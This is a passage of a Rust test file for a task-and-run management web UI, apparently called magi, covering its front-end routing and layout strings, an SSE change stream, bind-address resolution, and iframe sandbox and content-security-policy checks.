17747 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17748 let bodies = &v["thread_bodies_md"];
17749 assert_eq!(bodies.as_array().unwrap().len(), 2);
17750 assert!(!bodies[0].to_string().contains("strong"));
17751 assert!(bodies[1].to_string().contains("strong"));
17752 }
17753
17754 #[test]
17755 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
17756 let home = TempDir::new().unwrap();
17757 let store = ask::Questions::at(home.path().join("questions"));
17758 let mut q = Question::new(
17759 "run".to_owned(),
17760 "conduct".to_owned(),
17761 "conduct".to_owned(),
17762 "which?".to_owned(),
17763 String::new(),
17764 Vec::new(),
17765 );
17766 q.say("plain words").unwrap();
17767 q.thread.push(ask::Turn {
17768 who: ask::Who::Agent,
17769 body: "Settled as `merge`".to_owned(),
17770 at: jiff::Timestamp::now(),
17771 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
17772 });
17773 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17774 let notes = &v["thread_notes_md"];
17775 assert_eq!(notes.as_array().unwrap().len(), 2);
17776 assert!(notes[0].is_null());
17777 let text = notes[1].to_string();
17778 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
17779 assert!(APP_JS.contains("ask-turn-note"));
17780 }
17781
17782 #[test]
17783 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
17784 assert!(APP_JS.contains("function landView(run, raw) {"));
17788 assert!(
17789 APP_JS.contains(
17790 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
17791 )
17792 );
17793 assert!(APP_JS.contains("const pr = landView(run, raw);"));
17794 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
17795 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
17796 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
17797 }
17798
17799 #[test]
17800 fn live_runs_are_never_hidden_or_folded_as_superseded() {
17801 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
17802 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
17803 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
17804 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
17805 }
17806
17807 #[test]
17808 fn review_rounds_label_a_distinct_verified_head() {
17809 assert!(APP_JS.contains("round.verified_head"));
17810 assert!(APP_JS.contains("verified HEAD"));
17811 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
17812 }
17813
17814 #[test]
17815 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
17816 assert!(APP_JS.contains("blocked: { glyph:"));
17820 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
17821
17822 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
17826 assert!(
17827 APP_JS.contains(
17828 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
17829 ),
17830 "the note line must name what a blocked task is waiting on, not just that it is blocked"
17831 );
17832 assert!(APP_JS.contains("if (status === \"blocked\") {"));
17836
17837 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17841 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17842 assert!(
17843 APP_JS.contains("location.hash = \"#/questions\";"),
17844 "a question node must jump to the Questions screen, not pretend to be a task"
17845 );
17846
17847 assert!(APP_JS.contains("Resolved questions"));
17850 assert!(APP_JS.contains("r.answersList.append("));
17851 assert!(APP_CSS.contains(".task-answers"));
17852 {
17853 let start = APP_JS
17854 .find("function updateTalkTaskRow")
17855 .expect("updateTalkTaskRow");
17856 let body = &APP_JS[start..];
17857 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17858 assert!(
17859 body.contains(
17860 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17861 ),
17862 "a chat-filed task row must link to the task page"
17863 );
17864 assert!(
17865 !body.contains("#/runs/") && !body.contains("#/queue/"),
17866 "the row must not branch to a run or the queue card"
17867 );
17868 assert!(APP_CSS.contains(".talk-task-link"));
17869 }
17870 }
17871
17872 #[test]
17873 fn a_task_notification_links_to_the_task_page() {
17874 let start = APP_JS
17876 .find("function noticeLink(")
17877 .expect("noticeLink exists");
17878 let body = &APP_JS[start..];
17879 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17880 assert!(
17881 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17882 "a task notice's link must target the task page"
17883 );
17884 assert!(
17885 !body.contains("#/queue/"),
17886 "regression: the task link must not go back to the Backlog route"
17887 );
17888 assert!(
17889 APP_JS.contains(
17890 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
17891 ),
17892 "`#/tasks/<id>` must parse into the task route"
17893 );
17894
17895 assert!(
17897 APP_JS.contains(
17898 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
17899 ),
17900 "`#/queue/<id>` must parse into a route carrying that id"
17901 );
17902
17903 assert!(APP_JS.contains("state.queueFocus = route.id;"));
17907 assert!(APP_JS.contains("function consumeQueueFocus()"));
17908 assert!(APP_JS.contains("jumpToTask(id)"));
17909 }
17910
17911 #[test]
17914 fn chat_rows_put_the_title_alone_on_the_first_line() {
17915 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
17916 assert!(APP_CSS.contains(
17917 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
17918 ));
17919 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
17920 assert!(APP_JS.contains("class: \"badge talk-unread\""));
17921 }
17922
17923 #[test]
17924 fn run_rows_put_the_title_alone_on_the_first_line() {
17925 assert!(
17926 APP_CSS.contains(
17927 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
17928 )
17929 );
17930 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
17931 assert!(APP_JS.contains("class: \"card run-card\""));
17932 assert!(APP_JS.contains("class: \"repo run-id\""));
17933 }
17934
17935 #[test]
17939 fn wide_screens_show_list_and_preview_side_by_side() {
17940 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
17942 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
17943 assert!(APP_CSS.contains("main[data-split]"));
17944 assert!(APP_CSS.contains("body[data-split]"));
17945
17946 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
17948 assert!(
17949 APP_JS.contains(
17950 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
17951 )
17952 );
17953 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
17954 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
17955 assert!(INDEX_HTML.contains("id=\"split-empty\""));
17956
17957 assert!(APP_JS.contains("function markSelected() {"));
17959 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
17960 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
17961 assert!(
17963 APP_CSS.contains(
17964 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
17965 )
17966 );
17967
17968 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
17970 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
17971 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
17972 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
17973
17974 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
17978 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
17979 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
17980 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
17981
17982 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
17984 }
17985
17986 #[test]
17987 fn panel_sandbox_carries_exactly_popups() {
17988 let needle = "sandbox: \"";
17989 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
17990 assert_eq!(
17991 matches.len(),
17992 1,
17993 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
17994 );
17995 let start = matches[0].0 + needle.len();
17996 let end = APP_JS[start..]
17997 .find('"')
17998 .expect("sandbox attribute value must be terminated by a closing quote");
17999 let val = &APP_JS[start..start + end];
18000 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18001 let expected: std::collections::BTreeSet<&str> =
18002 ["allow-popups", "allow-popups-to-escape-sandbox"]
18003 .into_iter()
18004 .collect();
18005 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18006 assert!(
18007 !tokens.contains("allow-scripts"),
18008 "allow-scripts must never be present in sandbox"
18009 );
18010 assert!(
18011 !tokens.contains("allow-same-origin"),
18012 "allow-same-origin must never be present in sandbox"
18013 );
18014 }
18015
18016 #[test]
18017 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18018 assert!(
18027 APP_JS.contains(
18028 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18029 ),
18030 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18031 recursive renderQueue() call has nothing left to jump to"
18032 );
18033 assert!(
18034 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18035 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18036 arrives later still gets it"
18037 );
18038 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18039 assert!(APP_JS.contains("is not in the current Backlog."));
18040 assert!(APP_JS.contains("li.card[data-task-id=\""));
18041 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18042 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18043 assert!(APP_CSS.contains(".card-permalink"));
18044 assert!(APP_CSS.contains(".queue-focus-status"));
18045 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18046 }
18047
18048 #[test]
18049 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18050 assert!(
18058 APP_JS.contains(
18059 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18060 ),
18061 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18062 );
18063 }
18064
18065 #[test]
18066 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18067 assert!(
18068 APP_JS.contains("round.verified_head !== round.head"),
18069 "a round that verified an earlier commit must be visibly distinct from one that \
18070 verified the head reviewers are looking at now"
18071 );
18072 assert!(
18073 APP_JS.contains("round.verified_at"),
18074 "when a check ran must be on the wire, not just which commit"
18075 );
18076 assert!(
18077 APP_JS.contains("resource_blocked"),
18078 "a command magi never got to run (shared build cache contention) must not render \
18079 the same as a command that ran and failed"
18080 );
18081 }
18082
18083 #[test]
18084 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18085 assert!(
18093 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18094 "every KPI tile built through statusTile() must route its click through \
18095 openRunsFiltered, the single place that sets the Runs filter"
18096 );
18097 for (label, status) in [
18098 ("Merged", "merged"),
18099 ("Ready", "ready"),
18100 ("Blocked", "blocked"),
18101 ("Stalled", "stalled"),
18102 ] {
18103 let call = format!("statusTile(\"{label}\", t.{status}, ");
18104 assert!(
18105 APP_JS.contains(&call),
18106 "expected the {label} KPI tile built via {call}..."
18107 );
18108 assert!(
18109 APP_JS.contains(&format!("status === \"{status}\"")),
18110 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18111 compare a run against, not one invented only for the stats tile"
18112 );
18113 }
18114 assert!(
18115 APP_JS.contains("function openRunsFiltered(status)"),
18116 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18117 );
18118 assert!(
18119 APP_JS.contains(
18120 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18121 ),
18122 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18123 );
18124 assert!(
18132 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
18133 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18134 hashchange event that may never fire"
18135 );
18136 }
18137
18138 #[test]
18139 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18140 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18146 assert!(
18147 APP_JS.contains(
18148 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
18149 ),
18150 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18151 guard for an incompatible tree section"
18152 );
18153 }
18154
18155 #[test]
18156 fn every_stats_queue_tile_names_a_real_queue_section() {
18157 assert!(
18163 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18164 "every queue tile built through sectionTile() must route its click through \
18165 openQueueSectionFocus"
18166 );
18167 for key in ["upnext", "running", "done", "held", "blocked"] {
18168 assert!(
18169 APP_JS.contains(&format!("{{ key: \"{key}\",")),
18170 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18171 );
18172 }
18173 for line in [
18177 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18178 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18179 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18180 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18181 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18182 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18183 ] {
18184 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18185 }
18186 }
18187
18188 #[test]
18189 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18190 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18197 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18198 assert!(APP_JS.contains("function revealQueueSection(details)"));
18199 assert!(
18200 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
18201 "renderQueue() must consume both focus channels on every pass"
18202 );
18203 assert!(
18204 APP_JS.contains(
18205 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
18206 ),
18207 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18208 the recursive renderQueue() call has nothing left to reveal"
18209 );
18210 assert!(
18211 APP_JS.contains(
18212 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
18213 ),
18214 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18215 );
18216 assert!(
18224 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
18225 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18226 hashchange event that may never fire"
18227 );
18228 }
18229
18230 #[tokio::test]
18231 async fn the_change_stream_announces_the_current_revisions_on_connect() {
18232 let f = Fixture::start().await;
18233
18234 let mut socket = tokio::net::TcpStream::connect(f.addr)
18235 .await
18236 .expect("connect");
18237 socket
18238 .write_all(
18239 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18240 )
18241 .await
18242 .expect("write request");
18243
18244 let mut seen = String::new();
18247 let mut buf = [0u8; 1024];
18248 while !seen.contains("event: change") {
18249 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18250 .await
18251 .expect("the stream must speak within five seconds")
18252 .expect("read");
18253 assert!(read > 0, "the server closed the change stream: {seen}");
18254 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18255 }
18256
18257 assert!(
18258 seen.to_lowercase()
18259 .contains("content-type: text/event-stream"),
18260 "the browser only reconnects automatically for a real SSE stream: {seen}"
18261 );
18262 let data = seen
18263 .lines()
18264 .find_map(|l| l.strip_prefix("data:"))
18265 .expect("a data line");
18266 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18267 assert!(
18268 payload["queue_rev"].is_u64()
18269 && payload["runs_rev"].is_u64()
18270 && payload["questions_rev"].is_u64()
18271 && payload["talks_rev"].is_u64()
18272 && payload["notifications_rev"].is_u64()
18273 && payload["loop_rev"].is_u64(),
18274 "the client needs one revision per store to know what to refetch, \
18275 and `talks_rev` is the only notification a standing talk gets - a \
18276 phone whose radio slept through a turn learns about it here, as \
18277 does one whose operator started the loop from another device: \
18278 {payload}"
18279 );
18280
18281 let health = f.get("/api/health").await.json();
18288 for key in [
18289 "queue_rev",
18290 "runs_rev",
18291 "questions_rev",
18292 "talks_rev",
18293 "notifications_rev",
18294 "loop_rev",
18295 ] {
18296 assert!(
18297 health[key].is_u64(),
18298 "health is the change stream's fallback and is missing `{key}`: {health}"
18299 );
18300 }
18301 }
18302
18303 #[tokio::test]
18304 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18305 let f = Fixture::start().await;
18306 let before = f.get("/api/health").await.json()["talks_rev"]
18307 .as_u64()
18308 .expect("talks_rev");
18309
18310 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18311 std::thread::sleep(Duration::from_millis(10));
18312 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18313 on_disk.turns.push(crate::talk::Turn {
18314 sender: None,
18315 breaks: Some(Vec::new()),
18316 messages: Vec::new(),
18317 posted_by: None,
18318 who: crate::talk::Who::Operator,
18319 body: "a new turn".to_owned(),
18320 at: Timestamp::now(),
18321 attachments: Vec::new(),
18322 usage: None,
18323 });
18324 f.talks().put(&mut on_disk).expect("record a turn");
18325
18326 let after = f.get("/api/health").await.json()["talks_rev"]
18327 .as_u64()
18328 .expect("talks_rev");
18329 assert_ne!(
18330 before, after,
18331 "a phone must be able to notice a talk's reply without polling every store"
18332 );
18333 }
18334
18335 #[test]
18336 fn bind_reads_back_from_the_spelling_the_cli_prints() {
18337 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18341 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18342 }
18343 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18344 assert!("everywhere".parse::<Bind>().is_err());
18345 }
18346
18347 #[test]
18348 fn an_explicit_bind_address_is_taken_verbatim() {
18349 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18350
18351 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18352
18353 assert_eq!(addr, asked);
18354 assert!(
18355 warning.is_none(),
18356 "an operator who named an address gets no lecture"
18357 );
18358 }
18359
18360 #[test]
18361 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18362 let (addr, warning) = resolve_bind(&Bind::Auto);
18363
18364 match addr {
18371 IpAddr::V4(ip) if is_tailnet(&ip) => {
18372 assert!(warning.is_none(), "a tailnet address needs no warning");
18373 }
18374 other => {
18375 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18376 let warning = warning.expect("a fallback has to explain itself");
18377 assert!(
18378 warning.contains("127.0.0.1") && warning.contains("local-only"),
18379 "the warning says what happened and what it costs: {warning}"
18380 );
18381 }
18382 }
18383 }
18384
18385 #[test]
18386 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18387 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18391 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18392 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18393 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18394 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18395 }
18396
18397 #[test]
18398 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18399 let ids = vec![
18400 "20260902-140501-aaaa".to_owned(),
18401 "20260902-140502-aabb".to_owned(),
18402 ];
18403
18404 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18405 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18406 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18407
18408 assert_eq!(missing.status, StatusCode::NOT_FOUND);
18409 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18410 assert_eq!(short, "20260902-140502-aabb");
18411 }
18412 #[tokio::test]
18413 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18414 let fx = Fixture::start().await;
18420 let id = panel(
18421 &fx,
18422 "<img src=\"shot.png\">",
18423 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18424 );
18425
18426 let doc = fx
18428 .get(&format!("/api/questions/{id}/panel/index.html"))
18429 .await;
18430 assert_eq!(doc.status, 200, "{}", doc.body);
18431 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18432
18433 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18434 assert_eq!(sibling.status, 200, "{}", sibling.body);
18435 assert_eq!(sibling.header("content-type"), Some("image/png"));
18436 assert_eq!(
18437 sibling.header("content-security-policy"),
18438 Some(PANEL_CSP),
18439 "the sibling route must carry the same policy as the asset route"
18440 );
18441
18442 assert_eq!(
18445 fx.head(&format!("/api/questions/{id}/panel")).await.status,
18446 200
18447 );
18448 }
18449
18450 #[test]
18451 fn delta_stamps_cover_add_update_remove_and_noop() {
18452 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18453 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18454 let delta = diff_stamps(&before, &after, 42);
18455 assert_eq!(delta.base, 42);
18456 assert_eq!(delta.changed, ["b", "c"]);
18457 assert_eq!(delta.removed, ["a"]);
18458 let same = diff_stamps(&after, &after, 43);
18459 assert!(same.changed.is_empty() && same.removed.is_empty());
18460 assert_ne!(stamps_revision(&before), stamps_revision(&after));
18461 let nanos: Stamps = [("b".into(), (2, 20))].into();
18462 let same_ms: Stamps = [("b".into(), (3, 20))].into();
18463 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18464 assert_eq!(stamps_revision(&Stamps::new()), 0);
18465 }
18466
18467 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18468 std::fs::create_dir_all(home.join("runs")).unwrap();
18469 Arc::new(Ui::new(
18470 Queue::at(home.join("queue")),
18471 Questions::at(home.join("questions")),
18472 Talks::at(home.join("talks")),
18473 home.join("runs"),
18474 home.to_owned(),
18475 PathBuf::from("/repo/magi"),
18476 ))
18477 }
18478
18479 #[tokio::test]
18480 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18481 let home = TempDir::new().unwrap();
18482 let ui = delta_test_ui(home.path());
18483 let mut task = Task::new(
18484 "stream task".into(),
18485 "text".into(),
18486 PathBuf::from("/repo"),
18487 Source::Human,
18488 );
18489 ui.queue.put(&mut task).unwrap();
18490 let response = events(State(ui.clone())).await.into_response();
18491 let mut stream = response.into_body().into_data_stream();
18492 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18493 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18494 .await
18495 .unwrap()
18496 .unwrap()
18497 .unwrap();
18498 let text = String::from_utf8(chunk.to_vec()).unwrap();
18499 let data = text
18500 .lines()
18501 .find_map(|line| {
18502 line.strip_prefix("data: ")
18503 .or_else(|| line.strip_prefix("data:"))
18504 })
18505 .unwrap();
18506 serde_json::from_str(data).unwrap()
18507 }
18508 let initial = change(&mut stream).await;
18509 assert!(initial.get("queue_delta").is_none());
18510 task.instruction.push_str(" changed");
18511 ui.queue.put(&mut task).unwrap();
18512 let updated = change(&mut stream).await;
18513 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18514 assert_eq!(
18515 updated["queue_delta"]["changed"],
18516 serde_json::json!([task.id])
18517 );
18518 assert_eq!(
18519 updated["queue_rev"].as_u64(),
18520 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18521 );
18522 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18523 let removed = change(&mut stream).await;
18524 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18525 assert_eq!(
18526 removed["queue_delta"]["removed"],
18527 serde_json::json!([task.id])
18528 );
18529 }
18530
18531 #[tokio::test]
18532 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18533 let home = TempDir::new().unwrap();
18534 let ui = delta_test_ui(home.path());
18535 let queue = ui.queue.clone();
18536 let query = |ids: Option<&str>| {
18537 Query(ListQuery {
18538 limit: Some(2),
18539 ids: ids.map(str::to_owned),
18540 })
18541 };
18542 let mut root = Task::new(
18543 "root".into(),
18544 "instruction".into(),
18545 PathBuf::from("/repo"),
18546 Source::Human,
18547 );
18548 queue.put(&mut root).unwrap();
18549 let mut blocked = Task::new(
18550 "blocked".into(),
18551 "instruction".into(),
18552 PathBuf::from("/repo"),
18553 Source::Human,
18554 );
18555 blocked.block(vec![root.id.clone()], None);
18556 queue.put(&mut blocked).unwrap();
18557 let whole =
18558 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18559 .unwrap();
18560 let subset = serde_json::to_value(
18561 queue_list(State(ui.clone()), query(Some(&root.id)))
18562 .await
18563 .unwrap()
18564 .0,
18565 )
18566 .unwrap();
18567 assert_eq!(whole, subset, "requested root plus its blocked dependent");
18568 let blockers = serde_json::to_value(
18569 queue_list(State(ui.clone()), query(Some("")))
18570 .await
18571 .unwrap()
18572 .0,
18573 )
18574 .unwrap();
18575 assert_eq!(blockers.as_array().unwrap().len(), 1);
18576 assert_eq!(blockers[0]["id"], blocked.id);
18577 assert_eq!(
18578 blockers[0]["waits_on"],
18579 whole
18580 .as_array()
18581 .unwrap()
18582 .iter()
18583 .find(|row| row["id"] == blocked.id)
18584 .unwrap()["waits_on"]
18585 );
18586
18587 for id in [
18588 "20260902-140501-aaaa",
18589 "20260902-140502-bbbb",
18590 "20260902-140503-cccc",
18591 ] {
18592 write_run(&ui.runs, id, RunStatus::Merged);
18593 }
18594 let old = serde_json::to_value(
18595 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18596 .await
18597 .unwrap()
18598 .0,
18599 )
18600 .unwrap();
18601 assert!(
18602 old.as_array().unwrap().is_empty(),
18603 "older updates must not enter the window"
18604 );
18605 let newest = serde_json::to_value(
18606 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18607 .await
18608 .unwrap()
18609 .0,
18610 )
18611 .unwrap();
18612 assert_eq!(newest.as_array().unwrap().len(), 1);
18613 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18614
18615 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18616 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18617 let talks = serde_json::to_value(
18618 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18619 .await
18620 .unwrap()
18621 .0,
18622 )
18623 .unwrap();
18624 assert_eq!(talks.as_array().unwrap().len(), 1);
18625 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
18626 assert_eq!(
18627 serde_json::to_value(
18628 talks_list(State(ui.clone()), query(Some("")))
18629 .await
18630 .unwrap()
18631 .0
18632 )
18633 .unwrap(),
18634 serde_json::json!([])
18635 );
18636 }
18637
18638 #[tokio::test]
18639 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
18640 async fn delta_payload_benchmark() {
18641 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
18642 let ui = delta_test_ui(&home);
18643 let query = |ids: Option<String>| {
18644 Query(ListQuery {
18645 limit: Some(50),
18646 ids,
18647 })
18648 };
18649 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
18650 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
18651 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
18652 let queue_id = queue
18653 .iter()
18654 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
18655 .unwrap_or(&queue[0])
18656 .task
18657 .id
18658 .clone();
18659 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
18660 .await
18661 .unwrap()
18662 .0;
18663 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
18664 .await
18665 .unwrap()
18666 .0;
18667 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
18668 .await
18669 .unwrap()
18670 .0;
18671 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
18672 eprintln!(
18673 "DELTA_PAYLOAD {}",
18674 serde_json::json!({
18675 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
18676 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
18677 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
18678 "counts": [queue.len(), runs.len(), talks.len()],
18679 "blocked": queue_delta.len() - 1,
18680 })
18681 );
18682 }
18683
18684 #[test]
18685 fn runs_revision_moves_when_deleting_an_older_run() {
18686 let temp = TempDir::new().expect("tempdir");
18687 let runs = temp.path().join("runs");
18688 std::fs::create_dir_all(&runs).expect("create runs dir");
18689
